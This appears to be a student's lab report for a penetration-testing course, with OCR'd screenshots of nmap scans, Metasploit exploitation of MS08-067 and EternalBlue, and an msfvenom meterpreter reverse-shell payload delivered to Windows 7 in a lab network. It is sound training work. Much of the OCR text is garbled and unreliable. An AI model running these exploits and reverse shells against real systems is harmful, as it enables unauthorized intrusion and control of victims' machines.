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Task A. Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each)

In this task, you need to complete the following steps to exploit SMB vulnerability on Windows XP.

1. Run a port scan against the Windows XP using nmap command to identify open ports and
services.
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- Used external Kali to conduct subnet Nmap scan 192.168.10.0/24
- After scan w/Nmap
o 192.168.10.2
= Open ports 53/80/443
=  PfSense



EF Attacker Kali - External Workstation on SHOWAQDS - Virtual Machine Conpection == m] »

File Action Mediz Clipbeard
B Ow@0 np |k

Pla b

View Help
5|8 g

= Zenm
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Scan Tools Profile Help

Target: |192.168.10.2

Command: nmap-T4

Hi | Services |
0S5 Host v

T 192168

> & 192.168.10.11
Y 192168.10.14
™

Filter Hosts

| Status: Ru nning

¥ | Profile:  Intense scan v | |Scan|

-A-v192.168.10.2

Nmap Output | Ports [ Hosts ' Topology | Host Details  Scans
nmap -T4 -A -v192.168.10.2 5 | Details|

Completed NSE at 19:088, B.23s elapsed *
Initiating NSE at 19:08

Completed NSE at 19:08, 0.88s5 elapsed

Nmap scan report for 192.168.10.2

Host is up (9.8854s latency).

Mot shown: 997 filtered ports

PORT STATE SERVICE VERSION

53/tcp open domain (generic dns response: REFUSED)

806/tcp open http nginx

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: nginx

| _http-title: Did not follow redirect to https://192.168.10.2/
443/tcp open ssl/http nginx

http-favicon: Unknown favicon MDS: S567E9CE23ES549EOFCDT7195F3882816
http-methods:
Supported Methods: GET HEAD POST

http-server-header: nginx

http-title: QECHEE- Login

ssl-cert: Subject: commonName=pfSense-6lcde5e912521/organizationName=pfSense webConfigurator Self-
Signed Certificate

| Subject Alternative Name: DNS:pfSense-6lc4e5e912521

| Issuer: commonName=pfSense-6lc4e5e912521/organizationName=pfSense webConfigurator Self-Signed
Certificate

Public Key type: rsa

Public Key bits: 2648

Signature Algorithm: sha256WithRSAEncryption

Not valid before: 2021-12-23T21:11:65

Not valid after: 2023-01-25T21:11:85

MD5 : B8a77 463f @a8f 7748 T2e8 7Tee a938 cidc

SHA-1: f47e 1938 aB53 9cb3 dfb2 2248 bc74 3a95 a3s8b T421
_ssl-date: TLS randomness does not represent time

tls-alpn:
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192.168.10.11
=  Windows Serve 2008
= Open ports 21/80/135/445/3389
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Zenmap e 0
Scan Tocls Profile Help [}
Target: 1192.168.10.11 v | Profile: |intense scan ¥  |Scan
' Command: nmap-T4 -A-v192.168.10.11
B | Hosts | Services | | NmapOutput | Ports 1 Hosts | Topology  HostDetails | Scans
'
05  Host v |nmap-T4-A-v192.168.10.11 » Details
W 192168102 | Y2SPEL CPE:/O:MICrOSOTT:WINAOWS SErVEr ZUUH:rs CPE:/0:MICrOSOTT:WINOOWS 5.1 Cpe:/ .
o s o:microsoft:windows 7::-:professional cpe:/o:microsoft:windows 8 cpe:/o:microsoft:windows 7 cpe:/ l.
E J o:microsoft:windows cpe:/o:microsoft:windows vista::- cpe:/o:microsoft:windows vista::spl

05 details: Microsoft Windows Server 2008 R2 or Windows B.1, Microsoft Windows 7 Professional or
Windows B, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.8, Microsoft
Windows Vista SP€ or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2,
wWindows 7 SP1, or Windows Server 2868

uptime guess: ©.172 days (since Wed Jul 19 15:11:58 2023)

z B

Metwork Distance: 2 hops
ICP Sequence Prediction: Difficulty=259 (Good luck!)
neration: Incremental

Service Info: 0Ss: Windows, Windows Server 2008 R2 - 2812; CPE: cpe:/o:microsoft:windows

Host script results:

| clock-skew: mean: 1h20m02s, deviatlon: 2h18m38s, median: s

| smb-os-discovery:

| os: RN tandard 7680 (Windows Server 2008 R2 Standard 6.1)
| 0S CPE: cpe:/o:microsoft.windows server 2088::-
| Computer name: W2008R2

| NetBIOS computer name: W2008R2\xB8
| Workgroup: WORKGROUP\x00

| System time: 2623-87-19T19:18:52-84:00
| smb-security-mode:

| account used: <blank>

| authentication level: user
I

I

|

|

|

|

|

|

challenge response: supported

message signing: disabled (dangerous, but default)
smb2-security-mode:

2.02

Message signing enabled but not required

smb2-time:

date: 2023-07-19 19:18:54

start date: 2023-57-19 15:12:36
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I
Ellter Hosts TRACEROUTE (using port 3389/tcp) v
‘."M“‘ “um\m\; = '

Clustered: o

ve Q@B FE

o 192.168.10.14
=  Windows XP
= Open ports 135/139/445
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Applications ~ Places ~ 2 Wed 19:05 1 w SO
Zenmap o0
Scan Tools Profile Help x
Target |192.168.10.14 v  Profile: |Intense scan v | |Scan
Command; nmap-T4-A.v192168.10.14
Hosts | Services Nmap Output | Ports [ Hosts  Topology  Host Detalls  Scans
nmap-T4-A-v192.168 10.14 & Details »
Initiating NSE at 18:53 A
Completed NSE at 18:53, 6.8085 elapsed l 7S
Nmap scan report for 192.168.10.14
Host 1s up (0.036s latency)
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
135/tcp open wmsrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open microsoft-ds Windows XP microsoft-ds
pevice type: general purpose

Running: Microsoft Windows Xp

0S CPE: cpe:/o:microsoft:windows xp::sp3

0S _details: Microsoft Windows XP SP3

etwo tance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)

IP _ID Sequence G ration; Incremental
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows xp

Host script results:

| _clock-skew: mean: 1hS9m59s, deviation: 2h49m42s, median: @s

| nbstat: NetBIOS name: ORG-ILFOIOGWXFM, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:40:57:09
(Microsofrt)

| Names

| ORG-JLFIIOGWXFM<BO> Flags: <uniques<actives
WORKGROUP<00> Flags: <group><actives
ORG-JLFIIOGWXFM<28> Flags: <unlques<s ve>
WORKGROUP<le> Flags: <group><active>

|
|
|
| WORKGROUP<1d> Flags: <unique><active>

| \x01\x02 MSBROWSE \x082<01> Flags: <group><active>

| smb-os-discovery

| 0S: Windows XP (Windows 2600 LAN Manager)

| 0S5 CPE: cpe:/o:microsoft:windows xp

| Computer name: org-jlfaiogwxtm

| NetBIOS computer name: ORG-JLF9TOGWXFM\x88

| Workaroun- WORKGRONO\ vAR v

Filter Hosts

4 Statux: Running =0 |

Clustered: No

Ve DE@BEEC L aE ~ e saw 0
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2. Identify the SMB port number (default: 445) and confirm that it is open.

3. Launch Metasploit Framework and search for the exploit module: ms08 067 netapi
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4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as the payload.
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5. Use 4458 as the listening port number. Configure the rest of the parameters. Display your
configurations and exploit the target.
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6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine
if the exploit is successful.
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[Post-exploitation] In meterpreter shell, display the target system’s local date and time.
[Post-exploitation] In meterpreter shell, get the SID of the user.

[Post-exploitation] In meterpreter shell, get the current process identifier.
[Post-exploitation] In meterpreter shell, get system information about the target.
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Task B. Exploit EternalBlue on Windows Server 2008 with Metasploit (20 pt)

In this task, you need to use similar steps to exploit the EternalBlue vulnerability on Windows Server
2008. Make sure to search and replace the exploit module against Windows Server 2008 accordingly.



| B Attacker Kali - External Workstation on SHOWAODS - Virtual Machine Connection - u] *

File Action Media Clipboard View Help
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root@C52APenTest: ~ e e 0

Edit View Search Terminal

Status: Running =4

- Background session 1 Windows XP
- Changed RHOSTS to Windows servers 192.168.10.11
- Searched EternalBlue exploit and config.
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1. Configure your Metasploit accordingly and set DDMMYY as the listening port number. Display
the configuration and exploit the target. (10 pt)

2. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine
if the exploit is successful. (2 pt)
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[Post-exploitation] In meterpreter shell, display the target system’s local date and time. (2 pt)
[Post-exploitation] In meterpreter shell, get the SID of the user. (2 pt)
[Post-exploitation] In meterpreter shell, get the current process identifier. (2 pt)

o v e w

[Post-exploitation] In meterpreter shell, get system information about the target. (2 pt)
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Task C. Exploit Windows 7 with a deliverable payload.

In this task, you need to create an executable payload with the required configurations below. Once
your payload is ready, you should upload it to the web server running on Kali Linux and download the
payload from Windows 7, then execute it on the target to make a reverse shell (20 pt). Of course, don't
forget to configure your Metasploit on Kali Linux before the payload is triggered on the target VM.

The requirements for your payload are (10 pt, 5pt each):
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- ' File Edit View Search Terminal Help

Nessus Info
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Payload options (windows/x64/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, threa
d, process, none)

LHOST 192.168.217. yes The listen address (an interface may
specified)

LPORT 4458 RS ten port

root@CS2APenTest: ~

File Edit View Search Terminal Help
encoder-space <length> The maximum size of the encoded payload
faults to the -s value)
1, iterations
c, add-code <path> Spec n adc L win32
to include
X template <path> Specify a custom cutable

<count> J times to encode [EVAGED]

a template
keep Preserve the emplate behaviour and

t the payload an thread
var-name <value> Specify a custom variable name to use

ertain output formats
timeout > The number of seconds to wait when reading
ayload from STDIN (default 30, © to disable)
help Show this m
4 ms p windows/x64/meterpreter/reverse tc
.3 lport=4458 -f showaree6.exe
o platform was sel d, choosing M :Module::Platform::Windows from the p

]

No arch selected, selecting arch: x64 from the payload
No encoder or badchars specif , outputting raw payload
Payload size: 510 byte
Final s of exe file: 7168 bytes
Saved as: showar0e6.exe

Status: Running

¢ Payload Name: Use your MIDAS ID (for example, pjiang.exe)
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Listening port: 4458

[Post-exploitation] Once you have established the reverse shell connection to the target Windows
7, complete the following tasks in your meterpreter shell:
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1. Execute the screenshot command to take a screenshot of the target machine if the exploit is
successful. (10 pt)
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- I had to change to payload for windows 7
o | took out the “x64” in the target payload but forget to take it out in the Attacker’s.
Once changes were made, it worked.

2. Create atext file on the attacker Kali named "IMadelT-YourMIDAS.txt" (replace YourMIDAS with
your university MIDAS ID) and put the current timestamp in the file. Upload this file to the
target's desktop. Then log in to Windows 7 VM and check if the file exists. You need to show me
the command that uploads the file. (20 pt)
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- Uploaded the file but wrong location
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- Uploaded correctly to the desktop
o Used the command “upload and filename”



